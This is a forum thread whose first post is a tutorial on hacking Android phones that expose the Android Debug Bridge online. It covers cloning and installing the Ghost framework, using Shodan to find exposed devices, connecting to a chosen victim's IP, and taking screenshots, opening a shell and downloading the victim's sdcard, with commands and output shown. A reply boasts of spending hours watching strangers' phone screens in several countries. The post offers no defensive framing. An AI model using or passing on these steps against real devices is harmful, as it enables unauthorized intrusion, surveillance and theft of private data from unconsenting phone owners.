# How To Hack Publicly Exposed Android Mobile Phones On Internet **URL:** \ **Category:** Tutorials & Methods\ **Tags:** hacking, android, networking\ **Created:** [June 1, 2020, 2:36pm UTC](https://onehack.st/t/how-to-hack-publicly-exposed-android-mobile-phones-on-internet/89433 "2020-06-01T14:36:53Z")\ **Posts on this page:** 2\ **Page:** 1
**Author:** ![TheStrength](https://onehack.st/user_avatar/onehack.st/thestrength/32/46753_2.png) [@TheStrength](https://onehack.st/u/TheStrength)\ **Post date:** [June 1, 2020, 2:36pm UTC](https://onehack.st/t/how-to-hack-publicly-exposed-android-mobile-phones-on-internet/89433/1 "2020-06-01T14:36:54Z")
![image](https://onehack.st/uploads/default/original/3X/0/0/00fcb7abbf9830e08079169c20e17a9bfc78ccc1.jpeg) ## INTRODUCTION Imagine if we are able to access any android device without touching the phone and see all the data in the phone. Today we will talk about **hacking Android mobile devices on Internet**. We will be talking about Android post-exploitation framework which exploits the Android Debug Bridge, basics of ADB are covered in **part1** and **part2** by **[ethical hacking](https://www.iicybersecurity.com/ethical-hacking.html)** researcher. Now coming to this tool, **Ghost** is a post exploitation framework. In this tool we will use android debug bridge to remotely connect to any android device exposed on Internet. ## ENVIRONMENT - **OS** : Kali Linux 2019 64 bit - **Kernel-Version** : 5.2.0 ## INSTALLATION STEPS - Use this command to clone the project **git clone [https://github.com/entynetproject/ghost](https://github.com/entynetproject/ghost)** ```auto root@kali:/home/iicybersecurity# git clone https://github.com/entynetproject/ghost Cloning into 'ghost'... remote: Enumerating objects: 3, done. remote: Counting objects: 100% (3/3), done. remote: Compressing objects: 100% (3/3), done. remote: Total 2176 (delta 0), reused 0 (delta 0), pack-reused 2173 Receiving objects: 100% (2176/2176), 10.00 MiB | 1.44 MiB/s, done. Resolving deltas: 100% (1299/1299), done. ``` - Use the **cd** command to enter into ghost directory ```auto root@kali:/home/iicybersecurity# cd ghost/ root@kali:/home/iicybersecurity/ghost# ``` - Now, use this command **chmod +x install.sh** to provide file permissions. ```auto root@kali:/home/iicybersecurity/ghost# chmod +x install.sh root@kali:/home/iicybersecurity/ghost# ``` - Next, use this command **./install.sh** to install the dependencies for the tool. **Install Dependencies** - Now, use this command to launch the tool. - **ghost** **Ghost Tool** - Use command **help** to find the options. **Help** - Now, we will search publicly exposed mobile devices on Internet using **[Shodan](https://www.shodan.io/)**. After opening Shodan in the search bar type **android debug bridge** or use the below link. > [https://www.shodan.io/search?query=android+debug+bridge](https://www.shodan.io/search?query=android+debug+bridge) ![image](https://onehack.st/uploads/default/original/3X/9/8/98cde403abc128ecabcae336aa7bfce52e00844d.jpeg) ![image](https://onehack.st/uploads/default/original/3X/1/d/1de67f3121b1c9abd1eee2ecfa8afa3f3c6925b9.jpeg) **[Shodan.io](http://Shodan.io) Fig 2** - Here, we can found many IP’s and we will take on IP address for research. Choose a particular IP Address and connect to it. - Type this command in Ghost **connect** **Connect To Victim’s IP** - In the above picture, we successfully connected to the android phone and we can also see the system info of device using **sysinfo** command. - After connecting to the phone using this command, type **help** to find the other options. **Help Fig 1** **Help Fig 2** - Check the network status by using command **netstat.** **Netstat** - We can also check the **users’ activities** by using this command **activity.** **User’s Activities** - Now, we can take a screenshot of the victims mobile by using the command **screenshot** **Screenshot** - Now, lets try to access the shell to view all the data, by using command **“shell”** **Victim’s Shell** - Here, we got the shell access and we can also view the data stored on it. - Using this tool we can download all the data from victims phone by using the command **download** ```auto ghost(118.34.168.62)> download sdcard iics [*] Downloading sdcard… [*] Saving to iics/sdcard… [+] Saved to iics/sdcard! ``` - Successfully downloaded the victim’s sdcard data on this location **/home location.** - Here, we have downloaded all victim’s data. ## CONCLUSION We saw how we accessed an android phone by using a ghost tool. It easy to understand and to use this tool. _Source: securitynewspaper_ ---
**Author:** ![Emile](https://onehack.st/user_avatar/onehack.st/emile/32/18254_2.png) [@Emile](https://onehack.st/u/Emile)\ **Post date:** [June 1, 2020, 4:28pm UTC](https://onehack.st/t/how-to-hack-publicly-exposed-android-mobile-phones-on-internet/89433/2 "2020-06-01T16:28:28Z")
You see these types of apps all day. They get you excited, but when you run them, they never seem to deliver. Once in a while though, you try one and it blows you away. THIS one is one of those; Been spending hours looking at screens of Android phones in Korea, Mexico, Brazil…it is beyond FUN! Thanks friend for posting this. It is more fun than a body should be allowed to have.